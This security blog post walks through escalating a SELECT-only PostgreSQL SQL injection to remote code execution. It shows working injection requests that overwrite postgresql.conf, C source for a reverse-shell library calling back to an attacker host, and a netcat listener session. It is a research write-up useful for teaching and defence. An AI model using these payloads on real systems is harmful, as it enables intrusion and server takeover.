Post

PostgreSQL SQL injection: SELECT only RCE

Posted
By Maksym Vatsyk 13 min read

SELECTing your way to RCE. A way to pwn Postgres without stacked SQLi queries

An unusual problem

A while ago I stumbled upon a very specific instance of a Postgres SELECT SQLi. The DB data was of no worth, and, to add an insult to injury, you could not even use any of the common RCE vectors! The queries would fail with the same error message:

1
2
3
4
5
6
7
8
9
10

GET /phrases?id=<@urlencode_not_plus>-1; SELECT pg_sleep(5) -- -<@/urlencode_not_plus> HTTP/1.1
Host: 127.0.0.1:8000

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Thu, 02 Nov 2023 14:49:21 GMT
Content-Length: 70
Connection: close

{"error": "cannot insert multiple commands into a prepared statement"}

That is because all of the common RCE SQLi payloads relied on stacked SQL queries, while the app in question was built with a popular Golang pgx driver that explicitly prevents their use. The driver does this by converting any SQL query into a prepared statement1.

This trick works because having multiple queries in one prepared statement is not supported by the Postgresql engine 2. Neat.

Since we are basically isolated to the current SQL statement’s context, can we escalate this SQLi into an RCE?

Potential solution?

After spending a couple of days researching, I was certain that an RCE is possible if specific special permissions or DBA-level access is obtained by an attacker (like in my case).

Our exploit will heavily rely on reading and writing files off the server’s file system via lo_import and lo_export functions3, respectively.

We can invoke the above functions in an inline SELECT statement; thus, they are ideal candidates for our purposes.

The search for files, writable by postgres (the user the DB process is running under), reveals a handful of promising configs:

1
2
3
4
5
6
7
8
9
10
11
12
13
14

ubuntu@ubuntu:~$ docker run --name test-postgres -e POSTGRES_PASSWORD=password -d postgres
ubuntu@ubuntu:~$ docker exec -it test-postgres bash
root@e93466643039:/#
root@e93466643039:/# cat /etc/passwd | grep postgres
postgres:x:999:999::/var/lib/postgresql:/bin/bash
root@e93466643039:/#
root@e93466643039:/# find / -writable -type f -uid 999 2>/dev/null
...
/var/lib/postgresql/data/postgresql.conf        <---- main service config
/var/lib/postgresql/data/postgresql.auto.conf
/var/lib/postgresql/data/pg_hba.conf            <---- authentication config
/var/lib/postgresql/data/pg_ident.conf          <---- psql username mapping
...

For now, we will focus on the main postgresql.conf file since it contains some juicy lines:

1
2
3
4
5
6
7
8
9
10
11
12

...
# - Shared Library Preloading -

#local_preload_libraries = ''
#session_preload_libraries = ''
#shared_preload_libraries = ''	# (change requires restart)
...

# - Other Defaults -

#dynamic_library_path = '$libdir'
...

PostgreSQL Documentation: local_preload_libraries

PostgreSQL Documentation: session_preload_libraries

PostgreSQL Documentation: shared_preload_libraries

All of these parameters (despite having some differences) specify the libraries’ names, which the PostgreSQL server will preload from the directory set in dynamic_library_path.

On a high level, our attack will look like this:

  1. Read current postgresql.conf
  2. Replace current postgresql.conf with a malicious one
  3. Compile and upload malicious .so library to a controlled dir
  4. Reload the server config

PoC

all payloads in HTTP requests are enclosed in <@urlencode_not_plus><@/urlencode_not_plus> tags of a BurpSuite’s Hackvector extension

Step 1: Reading current postgresql.conf

We must first locate and read the current postgresql.conf to keep all crucial config options intact later during the rewrite.

We will be performing the following nested SQL queries via the SQLi:

1
2
3
4
5
6

# 1. get all loaded config files
SELECT sourcefile FROM pg_file_settings; 
# 2. read the config file into the pg_largeobject with a chosen id, e.g. 31337
SELECT lo_import('/path/to/config...', 31337);  
# 3. get contents of the pg_largeobject with id from query #2
SELECT lo_get(31337);

Executing the step

  1. Get all loaded config files
    1
2
3
4
5
6
7
8
9
10

     GET /phrases?id=<@urlencode_not_plus>-1 UNION SELECT 1337, sourcefile FROM pg_file_settings<@/urlencode_not_plus> HTTP/1.1
 Host: 127.0.0.1:8000
    
 HTTP/1.1 200 OK
 Content-Type: application/json; charset=utf-8
 Date: Thu, 02 Nov 2023 14:49:21 GMT
 Content-Length: 63
 Connection: close
    
 [{"id":1337,"text":"/var/lib/postgresql/data/postgresql.conf"}]

  2. Read the file into the pg_largeobject table

    1
2
3
4
5
6
7
8
9
10

     GET /phrases?id=<@urlencode_not_plus>-1 UNION SELECT 1337, CAST((SELECT lo_import('/var/lib/postgresql/data/postgresql.conf', 31337)) AS text)<@/urlencode_not_plus> HTTP/1.1
 Host: 127.0.0.1:8000
    
 HTTP/1.1 200 OK
 Content-Type: application/json; charset=utf-8
 Date: Thu, 02 Nov 2023 14:46:47 GMT
 Content-Length: 28
 Connection: close
    
 [{"id":1337,"text":"31337"}]

  3. Get file contents from the pg_largeobject table

    1
2
3
4
5
6
7
8
9
10
11
12

        
 GET /phrases?id=<@urlencode_not_plus>-1 UNION SELECT 1337, CAST((SELECT lo_get(16394)) AS text)<@/urlencode_not_plus> HTTP/1.1
 Host: 127.0.0.1:8000
    
 HTTP/1.1 200 OK
 Content-Type: application/json; charset=utf-8
 Date: Thu, 02 Nov 2023 14:47:55 GMT
 Connection: close
 Content-Length: 56338
    
 [{"id":1337,"text":"\\x23202d2d2d...72650a"}]

If everything is done right, you then should be able to decode the hex-encoded config contents:

Decoded config in CyberChef

Step 2: Replacing postgresql.conf

We will add a malicious .so library preload inside the config file and overwrite the original config on the disk via SQLi.

The following nested SQL queries are used:

1
2
3
4

# 1. Decode new config from base64 and store it in a pg_largeobject with a chosen id, e.g. 133337
SELECT lo_from_bytea(133337, decode('IyAtIENv...ZC5zbyc=', 'base64')
# 2. Write pg_largeobject with id from query #1 on a disk to an original config's path
SELECT lo_export(133337, '/path/to/config...')

Executing the step

  1. Craft a malicious postgresql.conf

    For this PoC, I am going to use the following values:

    • dynamic_library_path = '/tmp:$libdir' — prepend a library path with a directory writable to our user, e.g., /tmp , since we must upload a .so lib there.
    • session_preload_libraries = 'payload.so' — add our malicious .so lib into the preload list. You can also try to abuse local* or shared* preload libs, but session* seems the easiest to exploit. If we supply this option, the server will load our lib each time a new client connects to the DBMS.

    You can optionally delete all comments from the config file to drastically reduce its size. The config should look like this:

    1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

     # - Connection Settings -
 listen_addresses = '*'
 max_connections = 100
    
 # - Memory -
 shared_buffers = 128MB
 dynamic_shared_memory_type = posix
    
 # - Checkpoints -
 max_wal_size = 1GB
 min_wal_size = 80MB
    
 # - What to Log -
 log_timezone = 'Etc/UTC'
    
 # - Locale and Formatting -
 datestyle = 'iso, mdy'
 timezone = 'Etc/UTC'
    
 # These settings are initialized by initdb, but they can be changed.
 lc_messages = 'en_US.utf8'
 lc_monetary = 'en_US.utf8'
 lc_numeric = 'en_US.utf8'
 lc_time = 'en_US.utf8'
    
 # default configuration for text search
 default_text_search_config = 'pg_catalog.english'
    
 dynamic_library_path = '/tmp:$libdir'
 session_preload_libraries = 'payload.so'

  2. Encode the config into a base64 string:

    Base64 encoded config in CyberChef

  3. Store the modified config in a large object:

    1
2
3
4
5
6
7
8
9
10

     GET /phrases?id=<@urlencode_not_plus>-1 UNION SELECT 1337, CAST((SELECT lo_from_bytea(133337, decode('IyAtIENv...ZC5zbyc=', 'base64'))) AS text) <@/urlencode_not_plus> HTTP/1.1
 Host: 127.0.0.1:8000
    
 HTTP/1.1 200 OK
 Content-Type: application/json; charset=utf-8
 Date: Thu, 02 Nov 2023 15:05:29 GMT
 Content-Length: 29
 Connection: close
    
 [{"id":1337,"text":"133337"}]

  4. Overwrite the original config on disk!

    1
2
3
4
5
6
7
8
9
10

     GET /phrases?id=<@urlencode_not_plus>-1 UNION SELECT 1337, CAST((SELECT lo_export(133337, '/var/lib/postgresql/data/postgresql.conf')) AS text) <@/urlencode_not_plus> HTTP/1.1
 Host: 127.0.0.1:8000
    
 HTTP/1.1 200 OK
 Content-Type: application/json; charset=utf-8
 Date: Thu, 02 Nov 2023 15:09:44 GMT
 Content-Length: 24
 Connection: close
    
 [{"id":1337,"text":"1"}]

Step 3: Compiling and uploading the library

The following queries will be executed via the SQLi:

1
2
3
4
5
6
7
8

# 1. Get current PostgreSQL version
SELECT version();
# 2. Upload first .so library chunk in the pg_largeobject with chosen id, e.g. 133338
SELECT lo_from_bytea(133338, decode('f0VMRgIBAQ...AAA=', 'base64'));
# 3..n. Upload next .so library chunks into the pg_largeobject with id from query #2
SELECT lo_put(133338, 2048*n, decode('AAAAAA...AAAA=', 'base64'));
# n+1. Write the .so library into the path, specified in the overwritten config
SELECT lo_export(133338, '/tmp/payload.so');

Executing the step

  1. Get the version of the postgresql server:

    1
2
3
4
5
6
7
8
9
10

     GET /phrases?id=<@urlencode_not_plus>-1 UNION SELECT 1337, version() <@/urlencode_not_plus> HTTP/1.1
 Host: 127.0.0.1:8000
    
 HTTP/1.1 200 OK
 Content-Type: application/json; charset=utf-8
 Date: Thu, 02 Nov 2023 15:05:29 GMT
 Content-Length: 29
 Connection: close
    
 [{"id":1337,"text":"PostgreSQL 13.12 (Debian 13.12-1.pgdg110+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 10.2.1-6) 10.2.1 20210110, 64-bit"}]

  2. Compile the .so library

    Install correct dev dependencies based on the major version of the PSQL returned from the previous SQL query:

    1

     sudo apt install postgresql-13 postgresql-server-dev-13 -y

    Compile this .so lib. The code below is just a standard reverse shell payload from https://revshells.com with a PG_MODULE_MAGIC field defined for Postgres to load it correctly. The _init() function will be executed automatically on a library load.

    1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

     #include <stdio.h>
 #include <sys/socket.h>
 #include <sys/types.h>
 #include <stdlib.h>
 #include <unistd.h>
 #include <netinet/in.h>
 #include <arpa/inet.h>
 #include "postgres.h"
 #include "fmgr.h"
    
 #ifdef PG_MODULE_MAGIC
 PG_MODULE_MAGIC;
 #endif
    
 void _init() {
     /*
         code taken from https://www.revshells.com/
     */
    
     int port = 8888;
     struct sockaddr_in revsockaddr;
    
     int sockt = socket(AF_INET, SOCK_STREAM, 0);
     revsockaddr.sin_family = AF_INET;       
     revsockaddr.sin_port = htons(port);
     revsockaddr.sin_addr.s_addr = inet_addr("172.23.16.1");
    
     connect(sockt, (struct sockaddr *) &revsockaddr, 
     sizeof(revsockaddr));
     dup2(sockt, 0);
     dup2(sockt, 1);
     dup2(sockt, 2);
    
     char * const argv[] = {"/bin/bash", NULL};
     execve("/bin/bash", argv, NULL);
 }

    A gcc command to compile the code:

    1

     gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c

  3. Upload the compiled library into a controlled directory

    You can do this in many different ways. This is how I did it:

    Split the lib into base64 encoded chunks:

    1
2
3
4
5
6
7

     FILE="./payload.so"
 OUTPUT_DIR="./payload_chunks"
 CHUNK_SIZE=2048
    
 mkdir "$OUTPUT_DIR"
 split -b $CHUNK_SIZE "$FILE" "$OUTPUT_DIR/"
 OFFSET=0; for f in $OUTPUT_DIR/*; do  base64 -w 0 < $f > "$OUTPUT_DIR/base64_$OFFSET"; rm $f; OFFSET=$(($OFFSET+$CHUNK_SIZE)); done

    The script above should produce the following files.. The number in the second part of the name specifies the binary offset from the start of the file.

    1
2
3
4
5
6
7
8
9
10
11
12

     ubuntu@ubuntu:~$ ls -lv payload_chunks/
 total 40
 drwxrwxr-x  2 ubuntu ubuntu 4096 Nov  3 19:14 .
 drwxr-x--- 33 ubuntu ubuntu 4096 Nov  3 19:14 ..
 -rw-rw-r--  1 ubuntu ubuntu 2732 Nov  3 19:14 base64_0
 -rw-rw-r--  1 ubuntu ubuntu 2732 Nov  3 19:14 base64_2048
 -rw-rw-r--  1 ubuntu ubuntu 2732 Nov  3 19:14 base64_4096
 -rw-rw-r--  1 ubuntu ubuntu 2732 Nov  3 19:14 base64_6144
 -rw-rw-r--  1 ubuntu ubuntu 2732 Nov  3 19:14 base64_8192
 -rw-rw-r--  1 ubuntu ubuntu 2732 Nov  3 19:14 base64_10240
 -rw-rw-r--  1 ubuntu ubuntu 2732 Nov  3 19:14 base64_12288
 -rw-rw-r--  1 ubuntu ubuntu  344 Nov  3 19:14 base64_14336

  4. Create a new lo object by uploading the first chunk (base64_0) of the .so lib:

    1
2
3
4
5
6
7
8
9

     GET /phrases?id=<@urlencode_not_plus>-1 UNION SELECT 1337, CAST((SELECT lo_from_bytea(133338, decode('f0VMRgIBAQ...AAA=', 'base64'))) AS text) <@/urlencode_not_plus> HTTP/1.1
 Host: 127.0.0.1:8000
    
 HTTP/1.1 200 OK
 Content-Type: application/json; charset=utf-8
 Date: Fri, 03 Nov 2023 19:54:08 GMT
 Content-Length: 29
    
 [{"id":1337,"text":"133338"}]

  5. Upload the other chunks consecutively by using the lo_put function and passing their offset in the second argument to the function each time:

    1
2
3
4
5
6
7
8
9

     GET /phrases?id=<@urlencode_not_plus>-1 UNION SELECT 1337, CAST((SELECT lo_put(133338, 2048, decode('AAAAAA...AAAA=', 'base64'))) AS text) <@/urlencode_not_plus> HTTP/1.1
 Host: 127.0.0.1:8000
    
 HTTP/1.1 200 OK
 Content-Type: application/json; charset=utf-8
 Date: Fri, 03 Nov 2023 19:56:40 GMT
 Content-Length: 23
    
 [{"id":1337,"text":""}]

  6. Export the payload .so to /tmp/payload.so via lo_export :

    1
2
3
4
5
6
7
8
9

     GET /phrases?id=<@urlencode_not_plus>-1 UNION SELECT 1337, CAST((SELECT lo_export(133338, '/tmp/payload.so')) AS text) <@/urlencode_not_plus> HTTP/1.1
 Host: 127.0.0.1:8000
    
 HTTP/1.1 200 OK
 Content-Type: application/json; charset=utf-8
 Date: Fri, 03 Nov 2023 20:01:04 GMT
 Content-Length: 24
    
 [{"id":1337,"text":"1"}]

    If you did everything right, your library should now reside in its entirety on the server’s FS:

    1
2
3
4
5
6
7

     on server:
 postgres@86140b9efc12:/tmp$ md5sum payload.so 
 0a240596d100c8ca8e781543884da202  payload.so
    
 on our machine:
 ubuntu@ubuntu:~$ md5sum payload.so 
 0a240596d100c8ca8e781543884da202  payload.so

Step 4: Reload the config

Finally, we will need to reload the config of the DBMS either by crashing it or invoking the pg_reload_conf() function (if you have the correct permissions).

Executing the step

  1. Trigger the config reload:

    1
2
3
4
5
6
7
8
9

     GET /phrases?id=<@urlencode_not_plus>-1 UNION SELECT 1337, CAST((SELECT pg_reload_conf()) AS text)<@/urlencode_not_plus> HTTP/1.1
 Host: 127.0.0.1:8000
    
 HTTP/1.1 200 OK
 Content-Type: application/json; charset=utf-8
 Date: Fri, 03 Nov 2023 22:51:30 GMT
 Content-Length: 27
    
 [{"id":1337,"text":"true"}]

  2. The next DB connection will trigger our RCE:

    1
2
3
4
5
6
7
8

     ubuntu@ubuntu:~$ nc -lvnp 8888
 Listening on 0.0.0.0 8888
 Connection received on 172.23.16.1 53004
    
 id
 uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
 pwd
 /var/lib/postgresql/data

Recap of nested SQL queries

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

### read the current config
# 1. get all loaded config files
SELECT sourcefile FROM pg_file_settings; 
# 2. read the config file into the pg_largeobject with a chosen id, e.g. 31337
SELECT lo_import('/path/to/config...', 31337);  
# 3. get contents of the pg_largeobject with id from the previous query
SELECT lo_get(31337); 

### modify the current config
# 1. Decode new config from base64 and store it in a pg_largeobject with a chosen id, e.g. 133337
SELECT lo_from_bytea(133337, decode('IyAtIENv...ZC5zbyc=', 'base64'));
# 2. Write pg_largeobject with the id from the previous query on a disk to an original config's path
SELECT lo_export(133337, '/path/to/config...'));

### compile and upload malicious .so lib
# 1. Get the current PostgreSQL version
SELECT version()
# 2. Upload first .so library chunk in the pg_largeobject with a chosen id, e.g. 133338
SELECT lo_from_bytea(133338, decode('f0VMRgIBAQ...AAA=', 'base64'));
# 3..n. Upload next .so library chunks into the pg_largeobject with id from the previous query
SELECT lo_put(133338, 2048*n, decode('AAAAAA...AAAA=', 'base64'));
# n+1. Write the .so library into the path, specified in the overwritten config
SELECT lo_export(133338, '/tmp/payload.so')

### reload the config
# 1. Trigger the built-in pg_reload_conf(), available to admins
SELECT pg_reload_conf()

Conclusion

That is how you can perform a SELECT-only RCE in PostgreSQL! This technique can effectively be adapted even to the most limited injections — the only prerequisite are the admin rights.

I’ve created a demo app that you can use to practice the techniques described in this article. It is available on my Github repo.

After finally exploiting the bug, I rushed to see if there were any alternative config parameters to trigger an RCE, only to discover that there were already several documented ways to do it. The detailed guides are available at Hacktricks here.

Big props to Denis Andzakovic and sylsTyping for initially discovering them!

I also plan to make a pull request to Hacktricks to make this alternative RCE path accessible to the public.

  1. https://github.com/jackc/pgx/issues/1090 ↩

  2. How to have two sql queries in a prepared statement? ↩

  3. Interfaces ↩

Case studies
RCE SQLi Techniques
This post is licensed under CC BY 4.0 by the author.